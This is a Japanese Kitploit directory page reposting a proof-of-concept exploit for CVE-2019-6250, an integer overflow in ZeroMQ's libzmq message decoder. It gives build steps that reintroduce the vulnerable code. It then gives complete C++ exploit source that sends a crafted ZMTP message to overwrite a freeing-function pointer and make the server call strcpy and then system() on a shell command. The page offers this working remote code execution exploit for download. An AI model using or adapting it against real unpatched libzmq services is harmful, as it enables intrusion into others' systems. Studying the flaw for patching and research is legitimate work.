Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-6250-libzmq — CVE-2019-6250の概念実証エクスプロイト。ZeroMQのlibzmqにおける整数オーバーフローを示し、細工されたメッセージを介して任意のコード実行を引き起こします。 | Kitploit
ツール/GitHubGitHub/akashicyitai/cve-2019-6250-libzmq
メモリフォレンジック脆弱性分析エクスプロイトファジングペイロード開発バイナリエクスプロイト
GitHubakashicyitai/cve-2019-6250-libzmq

CVE-2019-6250-libzmq

CVE-2019-6250の概念実証エクスプロイト。ZeroMQのlibzmqにおける整数オーバーフローを示し、細工されたメッセージを介して任意のコード実行を引き起こします。

リポジトリを見る
12年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-6250-libzmq

ZeroMQ(ZMQ)

ZeroMQ(ZMQ)は、高性能な非同期メッセージライブラリであり、分散または並列コンピューティング環境向けに効率的で柔軟なメッセージ受け渡し機構を提供することを目的としています。ZeroMQは、複数のメッセージ受け渡しパターン(要求-応答、公開-購読、プッシュ-プル、プロキシなど)を提供し、TCP、IPC、PGMなどの複数のトランスポートプロトコルをサポートしています。ZeroMQの設計目標は、ネットワークプログラミングを簡素化し、効率的なメッセージキューを提供することでパフォーマンスを向上させることです。

libzmq

libzmqはZeroMQのコア実装ライブラリであり、通常はZeroMQライブラリのC言語実装を指します。ZeroMQ機能の具体的な実装であり、さまざまなプログラミング言語に基本サポートを提供します。libzmqはZeroMQのすべてのコア機能を提供し、複数の言語バインディングとともに使用できます。

攻撃方法

libzmqライブラリをダウンロード

root@kitploit:~
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3

作者はこの脆弱性を修正済みですが、src/v2_decoder.cppに移動し、関数zmq::v2_decoder_t::size_readyの内容を以下のコードに変更して脆弱性を再現します:

root@kitploit:~
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
    int rc = _in_progress.close ();
    assert (rc == 0);

    // the current message can exceed the current buffer. We have to copy the buffer
    // data into a new message and complete it in the next receive.

    shared_message_memory_allocator &allocator = get_allocator ();
    if (unlikely (!_zero_copy
                  || ((unsigned char *) read_pos_ + msg_size_
                      > (allocator.data () + allocator.size ())))) {
        // a new message has started, but the size would exceed the pre-allocated arena
        // this happens every time when a message does not fit completely into the buffer
        rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
    } else {
        // construct message using n bytes from the buffer as storage
        // increase buffer ref count
        // if the message will be a large message, pass a valid refcnt memory location as well
        rc =
          _in_progress.init (const_cast<unsigned char *> (read_pos_),
                             static_cast<size_t> (msg_size_),
                             shared_message_memory_allocator::call_dec_ref,
                             allocator.buffer (), allocator.provide_content ());

        // For small messages, data has been copied and refcount does not have to be increased
        if (_in_progress.is_zcmsg ()) {
            allocator.advance_content ();
            allocator.inc_ref ();
        }
    }

    if (unlikely (rc)) {
        errno_assert (errno == ENOMEM);
        rc = _in_progress.init ();
        errno_assert (rc == 0);
        errno = ENOMEM;
        return -1;
    }

    _in_progress.set_flags (_msg_flags);
    // this sets read_pos to
    // the message data address if the data needs to be copied
    // for small message / messages exceeding the current buffer
    // or
    // to the current start address in the buffer because the message
    // was constructed to use n bytes from the address passed as argument
    next_step (_in_progress.data (), _in_progress.size (),
               &v2_decoder_t::message_ready);

    return 0;
}

libzmqライブラリのインストール

root@kitploit:~
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install

cppzmqのダウンロードとインストール

root@kitploit:~
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install

/demo/main.cppをこのリポジトリのmain.cppに置き換えます

main.cppのコンパイル

root@kitploit:~
cd demo
mkdir build
cd build
cmake ..
make
./demo

脆弱性トリガー位置

Libzmq/src/v2_decoder.cppの以下の内容に整数オーバーフローが存在します。msg_size_の値が非常に大きい場合、read_pos+msg_size_は逆に非常に小さな値になり、その結果if文の条件が偽となり、プログラムはメッセージサイズを初期化しません。 if (unlikely (!zero_copy || ((unsigned char *) read_pos + msg_size_ > (allocator.data () + allocator.size ())))) {

そのため、書き込まれたメッセージを使用してバッファの後方のメモリを上書きすることができます。バッファの後方のメモリは構造体content_tであり、関数ポインタffnと関数引数data、hintを含んでいます。 67 struct content_t 68 { 69 void *data; 70 size_t size; 71 msg_free_fn *ffn; 72 void *hint; 73 zmq::atomic_counter_t refcnt; 74 };

脆弱性の悪用

送信するメッセージを制御することで、上記の関数ポインタと引数を特定の関数とその引数で上書きし、攻撃を実現します。

root@kitploit:~
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>

class Thread {
    public:
    Thread() : the_thread(&Thread::ThreadMain, this)
    { }
    ~Thread(){
    }
    private:
    std::thread the_thread;
    void ThreadMain() {
        zmq::context_t context (1);
        zmq::socket_t socket (context, ZMQ_REP);
        socket.bind ("tcp://*:6666");

        while (true) {
            zmq::message_t request;

            // Wait for next request from client
            try {
                socket.recv (&request);
            } catch ( ... ) { }
        }
    }
};

static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
    int s;
    struct sockaddr_in remote_addr = {};
    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        abort();
    }
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons(6666);
    inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);

    if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
    {
        abort();
    }

    const uint8_t greeting[] = {
        0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
        0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
        0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
        0x00, /* Unused */
    };
    send(s, greeting, sizeof(greeting), 0);

    const uint8_t v2msg[] = {
        0x02, /* v2_decoder_t::eight_byte_size_ready */
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
    };
    send(s, v2msg, sizeof(v2msg), 0);

    /* Write UNTIL the location of zmq::msg_t::content_t */
    size_t plsize = 8183;
    uint8_t* pl = (uint8_t*)calloc(1, plsize);
    send(s, pl, plsize, 0);
    free(pl);

    uint8_t content_t_replacement[] = {
        /* void* data */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* size_t size */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* msg_free_fn *ffn */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* void* hint */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    };

    /* Assumes same endianness as target */
    memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
    memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
    memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));

    /* Overwrite zmq::msg_t::content_t */
    send(s, content_t_replacement, sizeof(content_t_replacement), 0);

    close(s);
    sleep(1);
}

char destbuffer[100];
char srcbuffer[100] = "ping google.com";

int main(void)
{
    Thread* rt = new Thread();
    sleep(1);

    callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);

    callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);

    return 0;
}
ツールをダウンロード